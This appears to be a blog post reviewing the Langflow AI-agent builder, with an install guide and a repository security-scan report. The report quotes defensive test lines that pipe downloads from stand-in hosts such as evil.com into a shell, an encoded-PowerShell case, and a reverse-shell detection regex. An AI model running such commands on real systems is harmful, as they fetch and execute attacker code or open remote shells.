6 min read

Langflow: Build AI Agents on a Visual Canvas (GitHub, Scanned)

Drag-and-drop builder for AI agents and RAG flows that deploys each flow as an API or an MCP server.

Langflow logo
✅
Scan: safe. Nothing malicious. Langflow runs arbitrary Python by design, so treat an instance like a shell: keep it updated, behind authentication and off the public internet. Scanned Sep 22, 2026; the full report is below.

Langflow is a visual builder for LLM applications. Components (models, prompts, vector stores, retrievers, agents, tools) sit on a canvas and you wire them into a flow, test it step by step in a built-in playground, then serve it: every flow is callable over a REST API and can be exposed as an MCP server, so Claude Desktop, Cursor or any other MCP client can use it as a tool. Each component is plain Python you can open and edit in place.

It is here because it is the most popular of the code-first visual builders and because the Python escape hatch is real rather than an afterthought. It is MIT-licensed, maintained by DataStax (now part of IBM) with close to 400 contributors, and ships as a pip package, a Docker image and a desktop app for macOS and Windows. The same ability to run custom Python is what makes it important to keep an instance off the open internet.

Who it is for

Developers prototyping agents and RAG pipelines who want to see the data move between steps, teams who need to hand a working flow to an app as an API or MCP tool, and Python users who find pure no-code tools too confining.

Getting started

1. Install with uv (needs Python 3.10 to 3.14; Langflow Desktop is the no-setup option)

uv pip install langflow -U

2. Start it, then open http://127.0.0.1:7860

uv run langflow run

3. Or run the Docker image

docker run -p 7860:7860 langflowai/langflow:latest

Safety scan

We cloned langflow-ai/langflow at commit df9711c on Sep 22, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • 42 secret-shaped strings, none real: sample PEM keys and fake tokens in tests, PEM placeholders in the JWT authentication docs (repeated across five versioned copies), and the MongoDB Atlas component's help text showing the certificate format, translated into six locale files.
  • The six pattern hits are defenses, not attacks. The reverse-shell regex sits in the guardrails component, which blocks such commands, and the curl | sh and encoded-PowerShell strings are test cases proving the MCP launcher rejects them. The bare-IP URLs are SSRF-protection tests.
  • No npm install hooks, no setup.py and no committed binaries. The eleven shell scripts the scanner lists are Docker entrypoints, a script that pins a hardened npm inside the image, doc examples calling the API, and GCP deployment helpers; none uses sudo or pipes a download to a shell.
  • All 96 known advisories sit in docs/package-lock.json, the documentation site's build, which never ships. The front end's 1,559 npm packages have none. The Python side was barely checked: the scanner resolved only 4 packages from a uv.lock that lists over 800.
  • 49 workflows; three use pull_request_target (labelers and a test-timing job) and none checks out the pull request. Only 4 of 142 third-party actions are pinned to a commit, the weakest ratio in this batch. Security policy, Dependabot, CodeQL and code of conduct present.

What the scanner counted

CheckResult
Secrets42 candidates found and read; see the notes above.
Suspicious code6 pattern hits found and read; every one is listed under the raw findings.
Install-time code11 installer scripts
Committed binariesNone.
CI workflows49 workflows. 3 use pull_request_target, none check out the pull request head. 138 of 142 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, docs.langflow.org, us-south.ml.cloud.ibm.com, docs.composio.dev. 11 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities97 advisories across 2,459 pinned packages: 0 critical, 46 high, 40 moderate, 11 low. docs/package-lock.json: 1,572 packages, 96 advisories; package-lock.json: 2 packages, 0 advisories; src/frontend/package-lock.json: 1,559 packages, 0 advisories; uv.lock: 4 packages, 1 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (42, redacted)
WhereRuleMatch
docs/docs/Develop/api-keys-and-authentication.mdx:673private-key-----B…--- (27 chars)
docs/docs/Develop/api-keys-and-authentication.mdx:682private-key-----B…--- (27 chars)
docs/docs/Develop/api-keys-and-authentication.mdx:765private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.10.0/Develop/jwt-authentication.mdx:102private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.10.0/Develop/jwt-authentication.mdx:111private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.10.0/Develop/jwt-authentication.mdx:155private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.10.0/Develop/jwt-authentication.mdx:164private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.10.0/Develop/jwt-authentication.mdx:271private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.11.0/Develop/api-keys-and-authentication.mdx:600private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.11.0/Develop/api-keys-and-authentication.mdx:609private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.11.0/Develop/api-keys-and-authentication.mdx:692private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.12.0/Develop/api-keys-and-authentication.mdx:623private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.12.0/Develop/api-keys-and-authentication.mdx:632private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.12.0/Develop/api-keys-and-authentication.mdx:715private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.8.0/Develop/jwt-authentication.mdx:102private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.8.0/Develop/jwt-authentication.mdx:111private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.8.0/Develop/jwt-authentication.mdx:155private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.8.0/Develop/jwt-authentication.mdx:164private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.8.0/Develop/jwt-authentication.mdx:271private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.9.0/Develop/jwt-authentication.mdx:102private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.9.0/Develop/jwt-authentication.mdx:111private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.9.0/Develop/jwt-authentication.mdx:155private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.9.0/Develop/jwt-authentication.mdx:164private-key-----B…--- (27 chars)
docs/versioned_docs/version-1.9.0/Develop/jwt-authentication.mdx:271private-key-----B…--- (27 chars)
and 18 more
Pattern hits (6)
WhereRuleMatch
src/backend/tests/unit/test_mcp_command_injection_security.py:119download-piped-to-shell (test/example)("sh", ["-c", "curl evil.com | bash"]), # Caught by shell metachar validator
src/lfx/src/lfx/components/llm_operations/guardrails_v2.py:404raw-socket-shellr"\bbash\s+-i\s+>&\s*/dev/tcp/",
src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:25download-piped-to-shell (test/example)("sh", ["-c", "curl http://evil | sh"], {}),
src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:26powershell-encoded (test/example)("cmd", ["/c", "powershell -enc ..."], {}),
src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:28download-piped-to-shell (test/example)("bash -c 'curl http://evil|sh'", [], {}),
src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:257download-piped-to-shell (test/example)malicious = {"mode": "Stdio", "command": "bash", "args": ["-c", "curl http://evil | sh"]}
URLs to bare IP addresses (11)
WhereRuleMatch
src/backend/tests/unit/api/v1/test_a2a.py:1824ip-literal-urlawait validate_webhook_url("https://8.8.8.8/hook")
src/backend/tests/unit/api/v1/test_a2a.py:1855ip-literal-urlassert await validate_webhook_url("https://8.8.8.8/hook") == ["8.8.8.8"]
src/backend/tests/unit/api/v1/test_a2a.py:1878ip-literal-urlparams = {"taskId": task_id, "pushNotificationConfig": {"url": "https://8.8.8.8/hook"}}
src/backend/tests/unit/api/v1/test_a2a.py:1971ip-literal-urlwebhook = f"https://8.8.8.8/hook-{uuid.uuid4().hex}"
src/backend/tests/unit/components/data_source/test_dns_rebinding.py:162ip-literal-urlcomponent.url_input = "http://93.184.216.34:8080/api"
src/backend/tests/unit/components/data_source/test_url_component.py:260ip-literal-urlurl, ips = component.ensure_url("http://8.8.8.8/")
src/backend/tests/unit/components/data_source/test_url_component.py:261ip-literal-urlassert url == "http://8.8.8.8/"
src/lfx/tests/unit/base/models/test_provider_ssrf.py:532ip-literal-url("http://172.15.255.255:8080/v1", "172.16.0.0/12", "must use https"),
src/lfx/tests/unit/base/models/test_provider_ssrf.py:533ip-literal-url("http://172.32.0.1:8080/v1", "172.16.0.0/12", "must use https"),
src/lfx/tests/unit/utils/test_ssrf_protection.py:349ip-literal-urlvalidate_url_for_ssrf("http://8.8.8.8", warn_only=False)
src/lfx/tests/unit/utils/test_ssrf_protection.py:350ip-literal-urlvalidate_url_for_ssrf("http://1.1.1.1", warn_only=False)
Installer scripts (11)
Worst known vulnerabilities (24 of 97)
AdvisorySeverityPackageSummary
GHSA-fv7c-fp4j-7gwphigh@babel/plugin-transform-modules-systemjs@7.28.5@babel/plugin-transform-modules-systemjs generates arbitrary code when compiling malicious input
GHSA-r5fr-rjxr-66jchighlodash@4.17.21lodash vulnerable to Code Injection via `_.template` imports key names
GHSA-7q85-xj36-vmfchighadm-zip@0.5.17adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
GHSA-xcpc-8h2w-3j85highadm-zip@0.5.17adm-zip: Crafted ZIP file triggers 4GB memory allocation
GHSA-gcfj-64vw-6mp9highaxios@1.17.0Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
GHSA-73wf-gq98-2v4ghighbrowserslist@4.28.1Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)
GHSA-c83g-rgw3-j3cxhighbrowserslist@4.28.1Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM
GHSA-23c5-xmqv-rm74highminimatch@5.1.6minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
GHSA-3ppc-4f35-3m26highminimatch@5.1.6minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
GHSA-7r86-cg39-jmmjhighminimatch@5.1.6minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
GHSA-37ch-88jc-xwx2highpath-to-regexp@0.1.12path-to-regexp vulnerable to Regular Expression Denial of Service via multiple route parameters
GHSA-4c8g-83qw-93j6highfast-uri@3.0.6fast-uri vulnerable to host confusion via failed IDN canonicalization
GHSA-7p8r-x3mc-p8w7highfast-uri@3.0.6fast-uri vulnerable to host confusion via backslash authority introducer
GHSA-f65p-4m7j-42xchighfast-uri@3.0.6fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization
GHSA-jqff-g426-hqxphighfast-uri@3.0.6fast-uri vulnerable to host confusion via percent-encoded scheme normalization
GHSA-q3j6-qgpj-74h6highfast-uri@3.0.6fast-uri vulnerable to path traversal via percent-encoded dot segments
GHSA-v2hh-gcrm-f6hxhighfast-uri@3.0.6fast-uri vulnerable to host confusion via literal backslash authority delimiter
GHSA-v39h-62p7-jpjchighfast-uri@3.0.6fast-uri vulnerable to host confusion via percent-encoded authority delimiters
GHSA-8gc5-j5rx-235rhighfast-xml-parser@4.5.4fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-…
GHSA-hmw2-7cc7-3qxxhighform-data@4.0.5form-data: CRLF injection in form-data via unescaped multipart field names and filenames
GHSA-2883-xcg3-v3hhhighjs-yaml@3.15.1js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
GHSA-5p2g-fcmc-qvqqhighimage-size@2.0.2image-size: JXL and HEIF parsers allow denial of service through infinite loops
GHSA-w3rx-r6r6-pgprhighimage-size@2.0.2image-size: ICNS parser allows denial of service through an infinite loop
GHSA-2883-xcg3-v3hhhighjs-yaml@4.3.1js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Workflows worth a look

By the numbers

Stars155.3K
Forks10.2K
Contributors385
Commits19.1K
Open issues258
Open pull requests932
Releases310
Latest releasev1.12.3
LicenceMIT
Main languagePython
Project age3 years
Last pushSep 27, 2026
Tracked files10,348
Lines of code1.8M
Checkout size221 MB

Lines by language: Python 850.8K, TypeScript 345.7K, JSON 308.5K, Markdown 221.8K, JavaScript 45.3K, YAML 14.3K.

Questions

Is Langflow free?

Yes. Langflow is MIT-licensed, so you can self-host it, modify it and use it commercially without paying anyone. Langflow Desktop is a free download for macOS and Windows. You pay only for the model APIs you connect, or nothing if you point it at a local model through Ollama or another OpenAI-compatible server.

Is it safe to expose Langflow to the internet?

Not without care. Langflow executes Python by design, and in 2025 an unauthenticated code-execution flaw in versions before 1.3.0 (CVE-2025-3248) was exploited in the wild. Run a current release, turn on authentication, and put it behind a VPN or a reverse proxy with its own login rather than publishing port 7860.

What is the difference between Langflow and n8n?

Langflow is built for the AI part: composing models, retrieval and agents, then serving the result as an API or MCP tool. n8n is built for automation across business apps, with AI as one kind of step. Many teams use both, calling a Langflow flow from an n8n workflow over HTTP.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.